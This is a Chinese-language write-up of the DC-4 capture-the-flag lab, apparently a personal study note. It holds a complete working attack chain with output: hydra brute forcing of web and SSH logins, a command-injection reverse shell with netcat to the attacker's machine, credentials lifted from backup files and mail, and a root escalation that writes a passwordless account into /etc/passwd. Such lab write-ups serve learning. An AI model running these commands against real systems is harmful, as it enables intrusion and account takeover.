

Summary

dc-4是一个简单的Web利用靶场, 主要是通过敏感信息的利用实现立足点建立, 并通过进一步的信息收集, 获取到敏感信息实现提权操作

其中, 最值得注意的是, 对于有关mail服务和信息的信息收集, 其中存在的邮件内容可能存在用户名, 密钥等极度敏感的信息, 而这种信息在实际环境中, 存在极大的利用价值

Key Techniques

- Web Enumeration
- Brute Forcing
- Sensitive Information Gather
- Linux Privilege Escalation

Reconnaissance

nmap尝试进行主机探测

```
1  nmap -sn 192.168.36.0/24
2
3  MAC Address: 50:4F:3B:0D:6A:DC
4  Nmap scan report for dc-4 (192.168.36.142)
5  Host is up (0.00032s latency).
6  MAC Address: 08:00:27:B3:AB:48 (Oracle VirtualBox virtual NIC)
7  Nmap scan report for ROG (192.168.36.231)
8  Host is up (0.00033s latency).
9  MAC Address: 58:1C:F8:FA:26:CA (Intel Corporate)
10 Nmap scan report for kali (192.168.36.199)
11 Host is up.
12 Nmap done: 256 IP addresses (4 hosts up) scanned in 1.97 seconds
```

nmap扫描获取初始信息

```
1  nmap -T4 -A -F 192.168.36.142
2  Starting Nmap 7.98 ( https://nmap.org ) at 2026-02-24 11:25 +0800
3  Nmap scan report for dc-4 (192.168.36.142)
4  Host is up (0.00061s latency).
5  Not shown: 98 closed tcp ports (reset)
6  PORT      STATE SERVICE VERSION
7  22/tcp    open  ssh      OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
8  | ssh-hostkey:
9  |   2048 8d:60:57:06:6c:27:e0:2f:76:2c:e6:42:c0:01:ba:25 (RSA)
10 |   256 e7:83:8c:d7:bb:84:f3:2e:e8:a2:5f:79:6f:8e:19:30 (ECDSA)
11 |_  256 fd:39:47:8a:5e:58:33:99:73:73:9e:22:7f:90:4f:4b (ED25519)
12 80/tcp    open  http      nginx 1.15.10
13 |_http-title: System Tools
14 |_http-server-header: nginx/1.15.10
15 MAC Address: 08:00:27:B3:AB:48 (Oracle VirtualBox virtual NIC)
16 Device type: general purpose
```

```
17 Running: Linux 3.X|4.X
18 OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
19 OS details: Linux 3.2 - 4.14, Linux 3.8 - 3.16
20 Network Distance: 1 hop
21 Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
22
23 TRACEROUTE
24 HOP RTT      ADDRESS
25 1    0.61 ms dc-4 (192.168.36.142)
26
27 OS and Service detection performed. Please report any incorrect results at
  https://nmap.org/submit/ .
28 Nmap done: 1 IP address (1 host up) scanned in 8.67 seconds
29
```

Initial Access & Exploitation

使用 nikto 扫描没有扫描到能够利用的漏洞

使用hydra尝试爆破爆破admin用户的密码, 需要注意的是, Post格式下的hydra的爆破格式

```
1 hydra -l admin -P /usr/share/wordlists/rockyou.txt 192.168.36.142 http-post-form
  '/login.php:username=^USER^&password=^PASS^:S=logout.php' -I
2 Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military
  or secret service organizations, or for illegal purposes (this is non-binding, these ***
  ignore laws and ethics anyway).
3
4 Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-02-24 11:41:20
5 [DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries
  (1:1/p:14344399), ~896525 tries per task
6 [DATA] attacking http-post-
  form://192.168.36.142:80/login.php:username=^USER^&password=^PASS^:S=logout.php
7 [80][http-post-form] host: 192.168.36.142  login: admin  password: happy
8 1 of 1 target successfully completed, 1 valid password found
9
```

登陆后, 尝试进行BurpSuite数据包获取

经过抓包测试 在登录后的 command.php 更改数据包的命令内容后,会过滤 & 以及后面的命令因此使用了

```
1 nc -c sh 192.168.36.199 4444
```

Kali进行监听, 并或得到了shell

```
1 nc -lnvp 4444
2 listening on [any] 4444 ...
3 connect to [192.168.36.199] from (UNKNOWN) [192.168.36.142] 38612
4 id
5 uid=33(www-data) gid=33(www-data) groups=33(www-data)
6 ls -al
7 total 32
8 drwxr-xr-x 4 root root 4096 Apr  7 2019 .
```

```

 9  drwxr-xr-x 3 root root 4096 Apr  7 2019 ..
10  -rw-r--r-- 1 root root 1783 Apr  5 2019 command.php
11  drwxr-xr-x 2 root root 4096 Mar 24 2019 css
12  drwxr-xr-x 2 root root 4096 Mar 24 2019 images
13  -rw-r--r-- 1 root root  506 Apr  6 2019 index.php
14  -rw-r--r-- 1 root root 1473 Apr  7 2019 login.php
15  -rw-r--r-- 1 root root  663 Mar 24 2019 logout.php
16  python3 -c "import pty;pty.spawn('/bin/bash')"
17  www-data@dc-4:/usr/share/nginx/html$ cd /
18  cd /
19  www-data@dc-4:/$ ls -al
20  ls -al
21  total 80
22  drwxr-xr-x 21 root root  4096 Apr  5 2019 .
23  drwxr-xr-x 21 root root  4096 Apr  5 2019 ..
24  drwxr-xr-x  2 root root  4096 Apr  5 2019 bin
25  drwxr-xr-x  3 root root  4096 Apr  5 2019 boot
26  drwxr-xr-x 16 root root 2940 Feb 24 13:22 dev
27  drwxr-xr-x 80 root root  4096 Feb 24 13:22 etc
28  drwxr-xr-x  5 root root  4096 Apr  7 2019 home
29  lrwxrwxrwx  1 root root    27 Apr  5 2019 initrd.img -> boot/initrd.img-4.9.0-3-686
30  lrwxrwxrwx  1 root root    27 Apr  5 2019 initrd.img.old -> boot/initrd.img-4.9.0-3-686
31  drwxr-xr-x 14 root root  4096 Apr  5 2019 lib
32  drwx-----  2 root root 16384 Apr  5 2019 lost+found
33  drwxr-xr-x  3 root root  4096 Apr  5 2019 media
34  drwxr-xr-x  2 root root  4096 Apr  5 2019 mnt
35  drwxr-xr-x  2 root root  4096 Apr  5 2019 opt
36  dr-xr-xr-x 79 root root    0 Feb 24 13:22 proc
37  drwx-----  3 root root  4096 Apr  7 2019 root
38  drwxr-xr-x 17 root root  540 Feb 24 13:22 run
39  drwxr-xr-x  2 root root  4096 Apr  5 2019 sbin
40  drwxr-xr-x  2 root root  4096 Apr  5 2019 srv
41  dr-xr-xr-x 12 root root    0 Feb 24 13:22 sys
42  drwxrwxrwt  8 root root  4096 Feb 24 13:39 tmp
43  drwxr-xr-x 10 root root  4096 Apr  5 2019 usr
44  drwxr-xr-x 12 root root  4096 Apr  5 2019 var
45  lrwxrwxrwx  1 root root    24 Apr  5 2019 vmlinuz -> boot/vmlinuz-4.9.0-3-686
46  lrwxrwxrwx  1 root root    24 Apr  5 2019 vmlinuz.old -> boot/vmlinuz-4.9.0-3-686
47  www-data@dc-4:/$ cd /home
48  cd /home
49  www-data@dc-4:/home$ ls -al
50  ls -al
51  total 20
52  drwxr-xr-x  5 root  root  4096 Apr  7 2019 .
53  drwxr-xr-x 21 root  root  4096 Apr  5 2019 ..
54  drwxr-xr-x  2 charles charles 4096 Apr  7 2019 charles
55  drwxr-xr-x  3 jim    jim    4096 Apr  7 2019 jim
56  drwxr-xr-x  2 sam    sam    4096 Apr  7 2019 sam
57  www-data@dc-4:/home$ cd charles
58  cd charles
59  www-data@dc-4:/home/charles$ ls -al
60  ls -al

```

```

61 total 20
62 drwxr-xr-x 2 charles charles 4096 Apr 7 2019 .
63 drwxr-xr-x 5 root root 4096 Apr 7 2019 ..
64 -rw-r--r-- 1 charles charles 220 Apr 6 2019 .bash_logout
65 -rw-r--r-- 1 charles charles 3526 Apr 6 2019 .bashrc
66 -rw-r--r-- 1 charles charles 675 Apr 6 2019 .profile
67 www-data@dc-4:/home/charles$ cd ../jim
68 cd ../jim
69 www-data@dc-4:/home/jim$ ls -al
70 ls -al
71 total 32
72 drwxr-xr-x 3 jim jim 4096 Apr 7 2019 .
73 drwxr-xr-x 5 root root 4096 Apr 7 2019 ..
74 -rw-r--r-- 1 jim jim 220 Apr 6 2019 .bash_logout
75 -rw-r--r-- 1 jim jim 3526 Apr 6 2019 .bashrc
76 -rw-r--r-- 1 jim jim 675 Apr 6 2019 .profile
77 drwxr-xr-x 2 jim jim 4096 Apr 7 2019 backups
78 -rw----- 1 jim jim 528 Apr 6 2019 mbox
79 -rwsrwxrwx 1 jim jim 174 Apr 6 2019 test.sh
80 www-data@dc-4:/home/jim$ cat backups
81 cat backups
82 cat: backups: Is a directory
83 www-data@dc-4:/home/jim$ cd backups
84 cd backups
85 www-data@dc-4:/home/jim/backups$ ls -al
86 ls -al
87 total 12
88 drwxr-xr-x 2 jim jim 4096 Apr 7 2019 .
89 drwxr-xr-x 3 jim jim 4096 Apr 7 2019 ..
90 -rw-r--r-- 1 jim jim 2047 Apr 7 2019 old-passwords.bak
91

```

并没有发现什么直接有用的信息, 但是注意到了backups文件夹的存在

并在backups文件夹内部发现了 old-passwords.bak 文件, 将 old-passwords.bak 文件下载到本地

```

1 www-data@dc-4:/home/jim/backups$ cd .. && ls -al
2 cd .. && ls -al
3 total 32
4 drwxr-xr-x 3 jim jim 4096 Apr 7 2019 .
5 drwxr-xr-x 5 root root 4096 Apr 7 2019 ..
6 -rw-r--r-- 1 jim jim 220 Apr 6 2019 .bash_logout
7 -rw-r--r-- 1 jim jim 3526 Apr 6 2019 .bashrc
8 -rw-r--r-- 1 jim jim 675 Apr 6 2019 .profile
9 drwxr-xr-x 2 jim jim 4096 Apr 7 2019 backups
10 -rw----- 1 jim jim 528 Apr 6 2019 mbox
11 -rwsrwxrwx 1 jim jim 174 Apr 6 2019 test.sh
12 www-data@dc-4:/home/jim$ cd mbox
13 cd mbox
14 bash: cd: mbox: Not a directory
15 www-data@dc-4:/home/jim$ cat mbox
16 cat mbox
17 cat: mbox: Permission denied

```

```

18 www-data@dc-4:/home/jim$ cat test.sh
19 cat test.sh
20 #!/bin/bash
21 for i in {1..5}
22 do
23     sleep 1
24     echo "Learn bash they said."
25     sleep 1
26     echo "Bash is good they said."
27 done
28     echo "But I'd rather bash my head against a brick wall."
29 www-data@dc-4:/home/jim$ cd ..
30 cd ..
31 www-data@dc-4:/home$ ls -al
32 ls -al
33 total 20
34 drwxr-xr-x  5 root    root    4096 Apr  7  2019 .
35 drwxr-xr-x 21 root    root    4096 Apr  5  2019 ..
36 drwxr-xr-x  2 charles charles 4096 Apr  7  2019 charles
37 drwxr-xr-x  3 jim      jim    4096 Apr  7  2019 jim
38 drwxr-xr-x  2 sam      sam    4096 Apr  7  2019 sam
39 www-data@dc-4:/home$ cd sam
40 cd sam
41 www-data@dc-4:/home/sam$ ls -al
42 ls -al
43 total 20
44 drwxr-xr-x  2 sam    sam    4096 Apr  7  2019 .
45 drwxr-xr-x  5 root   root   4096 Apr  7  2019 ..
46 -rw-r--r--  1 sam    sam    220 Apr  6  2019 .bash_logout
47 -rw-r--r--  1 sam    sam   3526 Apr  6  2019 .bashrc
48 -rw-r--r--  1 sam    sam    675 Apr  6  2019 .profile
49 www-data@dc-4:/home/sam$ sudo -l
50 sudo -l
51
52 we trust you have received the usual lecture from the local System
53 Administrator. It usually boils down to these three things:
54
55     #1) Respect the privacy of others.
56     #2) Think before you type.
57     #3) With great power comes great responsibility.
58
59 [sudo] password for www-data:
60
61 Sorry, try again.
62 [sudo] password for www-data:
63
64 Sorry, try again.
65 [sudo] password for www-data:
66
67 sudo: 3 incorrect password attempts
68 www-data@dc-4:/home/sam$ cd /tmp
69 cd /tmp
70 www-data@dc-4:/tmp$ find / -type f -perm -u=s 2>/dev/null

```

```
71 find / -type f -perm -u=s 2>/dev/null
72 /usr/bin/gpasswd
73 /usr/bin/chfn
74 /usr/bin/sudo
75 /usr/bin/chsh
76 /usr/bin/newgrp
77 /usr/bin/passwd
78 /usr/lib/eject/dmccrypt-get-device
79 /usr/lib/openssh/ssh-keysign
80 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
81 /usr/sbin/exim4
82 /bin/mount
83 /bin/umount
84 /bin/su
85 /bin/ping
86 /home/jim/test.sh
87 www-data@dc-4:/tmp$
```

在进行其他文件夹的相关搜索有, 并没有能够利用点能够进行提权

尝试针对 old-passwords 文件进行针对 jim 的 ssh 爆破

```
1 hydra -l jim -P jim_old_passwords.txt ssh://192.168.36.142 -t 4
2 Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military
  or secret service organizations, or for illegal purposes (this is non-binding, these
  *** ignore laws and ethics anyway).
3
4 Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-02-24 11:57:24
5 [DATA] max 4 tasks per 1 server, overall 4 tasks, 252 login tries (l:1/p:252), ~63
  tries per task
6 [DATA] attacking ssh://192.168.36.142:22/
7 [STATUS] 92.00 tries/min, 92 tries in 00:01h, 160 to do in 00:02h, 4 active
8 [22][ssh] host: 192.168.36.142 login: jim password: jibril04
9 1 of 1 target successfully completed, 1 valid password found
10 Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-02-24 11:59:50
11
```

尝试进行ssh登录利用

```
1 ssh jim@192.168.36.142
2 The authenticity of host '192.168.36.142 (192.168.36.142)' can't be established.
3 ED25519 key fingerprint is: SHA256:0CH/AiSnfSSmNwRAHfnnLhx95MTRyszFXqzT03sUJkk
4 This key is not known by any other names.
5 Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
6 Warning: Permanently added '192.168.36.142' (ED25519) to the list of known hosts.
7 ** WARNING: connection is not using a post-quantum key exchange algorithm.
8 ** This session may be vulnerable to "store now, decrypt later" attacks.
9 ** The server may need to be upgraded. See https://openssh.com/pq.html
10 jim@192.168.36.142's password:
11 Linux dc-4 4.9.0-3-686 #1 SMP Debian 4.9.30-2+deb9u5 (2017-09-19) i686
12
13 The programs included with the Debian GNU/Linux system are free software;
```

```
14 the exact distribution terms for each program are described in the
15 individual files in /usr/share/doc/*/copyright.
16
17 Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
18 permitted by applicable law.
19 You have mail.
20 Last login: Sun Apr  7 02:23:55 2019 from 192.168.0.100
21 jim@dc-4:~$
22
```

Privilege Escalation

```
1 jim@dc-4:~$ sudo -l
2
3 we trust you have received the usual lecture from the local System
4 Administrator. It usually boils down to these three things:
5
6     #1) Respect the privacy of others.
7     #2) Think before you type.
8     #3) With great power comes great responsibility.
9
10 [sudo] password for jim:
11 Sorry, user jim may not run sudo on dc-4.
12
```

发现 jim 并没有 sudo 的使用权限

但是在 mbox 文件夹中发现了其拥有 mail 服务与相关文件夹, 内部可能存在敏感信息, 尝试进行查看

```
1 jim@dc-4:~$ ls -al
2 total 32
3 drwxr-xr-x 3 jim jim 4096 Apr  7  2019 .
4 drwxr-xr-x 5 root root 4096 Apr  7  2019 ..
5 drwxr-xr-x 2 jim jim 4096 Apr  7  2019 backups
6 -rw-r--r-- 1 jim jim  220 Apr  6  2019 .bash_logout
7 -rw-r--r-- 1 jim jim 3526 Apr  6  2019 .bashrc
8 -rw----- 1 jim jim  528 Apr  6  2019 mbox
9 -rw-r--r-- 1 jim jim  675 Apr  6  2019 .profile
10 -rwsrwxrwx 1 jim jim  174 Apr  6  2019 test.sh
11 jim@dc-4:~$ cat mbox
12 From root@dc-4 Sat Apr 06 20:20:04 2019
13 Return-path: <root@dc-4>
14 Envelope-to: jim@dc-4
15 Delivery-date: Sat, 06 Apr 2019 20:20:04 +1000
16 Received: from root by dc-4 with local (Exim 4.89)
17         (envelope-from <root@dc-4>)
18         id 1hCiQe-0000gc-EC
19         for jim@dc-4; Sat, 06 Apr 2019 20:20:04 +1000
20 To: jim@dc-4
21 Subject: Test
22 MIME-Version: 1.0
23 Content-Type: text/plain; charset="UTF-8"
```

```
24 Content-Transfer-Encoding: 8bit
25 Message-Id: <E1hCiQe-0000gc-EC@dc-4>
26 From: root <root@dc-4>
27 Date: Sat, 06 Apr 2019 20:20:04 +1000
28 Status: RO
29
30 This is a test.
31
32 jim@dc-4:~$ /usr/bin/mail mbox
33 Subject:
34 ^C
35 (Interrupt -- one more to kill letter)
36 ^CYou have new mail in /var/mail/jim
37 jim@dc-4:~$ /usr/bin/mail -f /home/jim/mbox
38 Mail version 8.1.2 01/15/2001. Type ? for help.
39 "/home/jim/mbox": 1 message
40 > 1 root@dc-4 Sat Apr 06 20:20 20/528 Test
41 & 1
42 Message 1:
43 From root@dc-4 Sat Apr 06 20:20:04 2019
44 Envelope-to: jim@dc-4
45 Delivery-date: Sat, 06 Apr 2019 20:20:04 +1000
46 To: jim@dc-4
47 Subject: Test
48 MIME-Version: 1.0
49 Content-Type: text/plain; charset="UTF-8"
50 Content-Transfer-Encoding: 8bit
51 From: root <root@dc-4>
52 Date: Sat, 06 Apr 2019 20:20:04 +1000
53
54 This is a test.
55
56 & p
57 Message 1:
58 From root@dc-4 Sat Apr 06 20:20:04 2019
59 Envelope-to: jim@dc-4
60 Delivery-date: Sat, 06 Apr 2019 20:20:04 +1000
61 To: jim@dc-4
62 Subject: Test
63 MIME-Version: 1.0
64 Content-Type: text/plain; charset="UTF-8"
65 Content-Transfer-Encoding: 8bit
66 From: root <root@dc-4>
67 Date: Sat, 06 Apr 2019 20:20:04 +1000
68
69 This is a test.
70
71 & h
72 > 1 root@dc-4 Sat Apr 06 20:20 20/528 Test
73 & n
74 At EOF
75 & q
76 jim@dc-4:~$ ls -al
```



```

77 total 32
78 drwxr-xr-x 3 jim jim 4096 Apr 7 2019 .
79 drwxr-xr-x 5 root root 4096 Apr 7 2019 ..
80 drwxr-xr-x 2 jim jim 4096 Apr 7 2019 backups
81 -rw-r--r-- 1 jim jim 220 Apr 6 2019 .bash_logout
82 -rw-r--r-- 1 jim jim 3526 Apr 6 2019 .bashrc
83 -rw----- 1 jim jim 528 Apr 6 2019 mbox
84 -rw-r--r-- 1 jim jim 675 Apr 6 2019 .profile
85 -rwsrwxrwx 1 jim jim 174 Apr 6 2019 test.sh
86 jim@dc-4:~$ find -name %mail%
87 jim@dc-4:~$ find -name mail
88 jim@dc-4:~$ find -name mbox
89 ./mbox
90 jim@dc-4:~$ cd /var
91 jim@dc-4:/var$ ls -al
92 total 48
93 drwxr-xr-x 12 root root 4096 Apr 5 2019 .
94 drwxr-xr-x 21 root root 4096 Apr 5 2019 ..
95 drwxr-xr-x 2 root root 4096 Feb 24 13:22 backups
96 drwxr-xr-x 8 root root 4096 Apr 5 2019 cache
97 drwxr-xr-x 26 root root 4096 Apr 6 2019 lib
98 drwxrwsr-x 2 root staff 4096 Apr 5 2017 local
99 lrwxrwxrwx 1 root root 9 Apr 5 2019 lock -> /run/lock
100 drwxr-xr-x 6 root root 4096 Apr 6 2019 log
101 drwxrwsr-x 2 root mail 4096 Feb 24 14:05 mail
102 drwxr-xr-x 2 root root 4096 Apr 5 2019 opt
103 lrwxrwxrwx 1 root root 4 Apr 5 2019 run -> /run
104 drwxr-xr-x 5 root root 4096 Apr 6 2019 spool
105 drwxrwxrwt 3 root root 4096 Feb 24 14:09 tmp
106 drwxr-xr-x 3 root root 4096 Apr 5 2019 www
107 jim@dc-4:/var$ cd mail
108 jim@dc-4:/var/mail$ ls -al
109 total 16
110 drwxrwsr-x 2 root mail 4096 Feb 24 14:05 .
111 drwxr-xr-x 12 root root 4096 Apr 5 2019 ..
112 -rw-rw---- 1 jim mail 2431 Feb 24 14:05 jim
113 -rw-rw---- 1 www-data mail 1761 Feb 24 13:55 www-data
114 jim@dc-4:/var/mail$ cat jim
115 From charles@dc-4 Sat Apr 06 21:15:46 2019
116 Return-path: <charles@dc-4>
117 Envelope-to: jim@dc-4
118 Delivery-date: Sat, 06 Apr 2019 21:15:46 +1000
119 Received: from charles by dc-4 with local (Exim 4.89)
120 (envelope-from <charles@dc-4>)
121 id 1hcjIX-0000ko-Qt
122 for jim@dc-4; Sat, 06 Apr 2019 21:15:45 +1000
123 To: jim@dc-4
124 Subject: Holidays
125 MIME-Version: 1.0
126 Content-Type: text/plain; charset="UTF-8"
127 Content-Transfer-Encoding: 8bit
128 Message-Id: <E1hcjIX-0000ko-Qt@dc-4>
129 From: Charles <charles@dc-4>

```

130 Date: Sat, 06 Apr 2019 21:15:45 +1000
131 Status: O
132
133 Hi Jim,
134
135 I'm heading off on holidays at the end of today, so the boss asked me to give you my
password just in case anything goes wrong.
136
137 Password is: ^xHhA&hvim0y
138
139 See ya,
140 Charles
141
142 From MAILER-DAEMON Tue Feb 24 14:05:44 2026
143 Return-path: <>
144 Envelope-to: jim@dc-4
145 Delivery-date: Tue, 24 Feb 2026 14:05:44 +1000
146 Received: from Debian-exim by dc-4 with local (Exim 4.89)
147 id 1vujg8-0000Gc-EF
148 for jim@dc-4; Tue, 24 Feb 2026 14:05:44 +1000
149 X-Failed-Recipients: dc4@dc-4
150 Auto-Submitted: auto-replied
151 From: Mail Delivery System <Mailer-Daemon@dc-4>
152 To: jim@dc-4
153 Content-Type: multipart/report; report-type=delivery-status; boundary=1771905944-
eximdsn-1804289383
154 MIME-Version: 1.0
155 Subject: Mail delivery failed: returning message to sender
156 Message-Id: <E1vujg8-0000Gc-EF@dc-4>
157 Date: Tue, 24 Feb 2026 14:05:44 +1000
158
159 --1771905944-eximdsn-1804289383
160 Content-type: text/plain; charset=us-ascii
161
162 This message was created automatically by mail delivery software.
163
164 A message that you sent could not be delivered to one or more of its
165 recipients. This is a permanent error. The following address(es) failed:
166
167 dc4@dc-4
168 (generated from root@dc-4)
169 Unrouteable address
170
171 --1771905944-eximdsn-1804289383
172 Content-type: message/delivery-status
173
174 Reporting-MTA: dns; dc-4
175
176 Action: failed
177 Final-Recipient: rfc822;dc4@dc-4
178 Status: 5.0.0
179
180 --1771905944-eximdsn-1804289383

```

181 Content-type: message/rfc822
182
183 Return-path: <jim@dc-4>
184 Received: from jim by dc-4 with local (Exim 4.89)
185         (envelope-from <jim@dc-4>)
186         id 1vujg8-0000Ga-BP
187         for root@dc-4; Tue, 24 Feb 2026 14:05:44 +1000
188 To: root@dc-4
189 Auto-Submitted: auto-generated
190 Subject: *** SECURITY information for dc-4 ***
191 From: Jim <jim@dc-4>
192 Message-Id: <E1vujg8-0000Ga-BP@dc-4>
193 Date: Tue, 24 Feb 2026 14:05:44 +1000
194
195 dc-4 : Feb 24 14:05:44 : jim : 3 incorrect password attempts ; TTY=pts/1 ;
196     PWD=/home/jim ; USER=root ; COMMAND=list
197
198 --1771905944-eximdsn-1804289383--
199
200 jim@dc-4:/var/mail$
201

```

经过 jim/mobox 与 /var/mail 的多次信息收集, 发现了 charles 的利用密码, 尝试进行登录, 并成功是实现了提权

```

1 jim@dc-4:/var/mail$ su charles
2 Password:
3
4 charles@dc-4:/var/mail$ cd /
5 charles@dc-4:/ $ ls -al
6 total 80
7 drwxr-xr-x 21 root root 4096 Apr  5  2019 .
8 drwxr-xr-x 21 root root 4096 Apr  5  2019 ..
9 drwxr-xr-x  2 root root 4096 Apr  5  2019 bin
10 drwxr-xr-x  3 root root 4096 Apr  5  2019 boot
11 drwxr-xr-x 16 root root 2940 Feb 24 13:22 dev
12 drwxr-xr-x 80 root root 4096 Feb 24 13:22 etc
13 drwxr-xr-x  5 root root 4096 Apr  7  2019 home
14 lrwxrwxrwx  1 root root   27 Apr  5  2019 initrd.img -> boot/initrd.img-4.9.0-3-686
15 lrwxrwxrwx  1 root root   27 Apr  5  2019 initrd.img.old -> boot/initrd.img-4.9.0-3-686
16 drwxr-xr-x 14 root root 4096 Apr  5  2019 lib
17 drwx-----  2 root root 16384 Apr  5  2019 lost+found
18 drwxr-xr-x  3 root root 4096 Apr  5  2019 media
19 drwxr-xr-x  2 root root 4096 Apr  5  2019 mnt
20 drwxr-xr-x  2 root root 4096 Apr  5  2019 opt
21 dr-xr-xr-x 86 root root    0 Feb 24 13:22 proc
22 drwx-----  3 root root 4096 Apr  7  2019 root
23 drwxr-xr-x 17 root root  560 Feb 24 14:01 run
24 drwxr-xr-x  2 root root 4096 Apr  5  2019 sbin
25 drwxr-xr-x  2 root root 4096 Apr  5  2019 srv
26 dr-xr-xr-x 12 root root    0 Feb 24 13:52 sys
27 drwxrwxrwt  8 root root 4096 Feb 24 14:09 tmp

```

```

28 | drwxr-xr-x 10 root root 4096 Apr 5 2019 usr
29 | drwxr-xr-x 12 root root 4096 Apr 5 2019 var
30 | lrwxrwxrwx 1 root root 24 Apr 5 2019 vmlinuz -> boot/vmlinuz-4.9.0-3-686
31 | lrwxrwxrwx 1

```

```

1 | charles@dc-4:/$ find / -type f -perm -u=s 2>/dev/null
2 | /usr/bin/gpasswd
3 | /usr/bin/chfn
4 | /usr/bin/sudo
5 | /usr/bin/chsh
6 | /usr/bin/newgrp
7 | /usr/bin/passwd
8 | /usr/lib/eject/dmccrypt-get-device
9 | /usr/lib/openssh/ssh-keysign
10 | /usr/lib/dbus-1.0/dbus-daemon-launch-helper
11 | /usr/sbin/exim4
12 | /bin/mount
13 | /bin/umount
14 | /bin/su
15 | /bin/ping
16 | /home/jim/test.sh
17 | charles@dc-4:/$ sudo -l
18 | Matching Defaults entries for charles on dc-4:
19 |     env_reset, mail_badpass,
20 |     secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
21 | User charles may run the following commands on dc-4:
22 |     (root) NOPASSWD: /usr/bin/teehee
23 |

```

```

1 | charles@dc-4:/$ echo "raaj::0:0::/bin/bash" | sudo teehee -a /etc/passwd
2 | raaj::0:0::/bin/bash
3 | charles@dc-4:/$ su raaj
4 | root@dc-4:/# id
5 | uid=0(root) gid=0(root) groups=0(root)
6 | root@dc-4:/# cd /root
7 | root@dc-4:/root# ls -al
8 | total 28
9 | drwx----- 3 root root 4096 Apr 7 2019 .
10 | drwxr-xr-x 21 root root 4096 Apr 5 2019 ..
11 | -rw----- 1 root root 16 Apr 7 2019 .bash_history
12 | -rw-r--r-- 1 root root 570 Jan 31 2010 .bashrc
13 | -rw-r--r-- 1 root root 976 Apr 6 2019 flag.txt
14 | drwxr-xr-x 2 root root 4096 Apr 6 2019 .nano
15 | -rw-r--r-- 1 root root 148 Aug 18 2015 .profile
16 | root@dc-4:/root# cat flag.txt
17 |
18 |
19 |
20 | 888      888      888 888      88888888b.      888 888 888
    | 888

```

```
21 888 o 888 888 888 888 "Y88b 888 888 888
888
22 888 d8b 888 888 888 888 888 888 888 888
888
23 888 d888b 888 .d88b. 888 888 888 888 .d88b. 88888b. .d88b. 888 888 888
888
24 888d88888b888 d8P Y8b 888 888 888 888 d88""88b 888 "88b d8P Y8b 888 888 888
888
25 88888P Y88888 888888888 888 888 888 888 888 888 888888888 Y8P Y8P Y8P
Y8P
26 8888P Y8888 Y8b. 888 888 888 .d88P Y88..88P 888 888 Y8b. " " "
"
27 888P Y888 "Y8888 888 888 8888888P" "Y88P" 888 888 "Y8888 888 888 888
888
28
29
30 Congratulations!!!
31
32 Hope you enjoyed DC-4. Just wanted to send a big thanks out there to all those
33 who have provided feedback, and who have taken time to complete these little
34 challenges.
35
36 If you enjoyed this CTF, send me a tweet via @DCAU7.
37 root@dc-4:/root#
38
```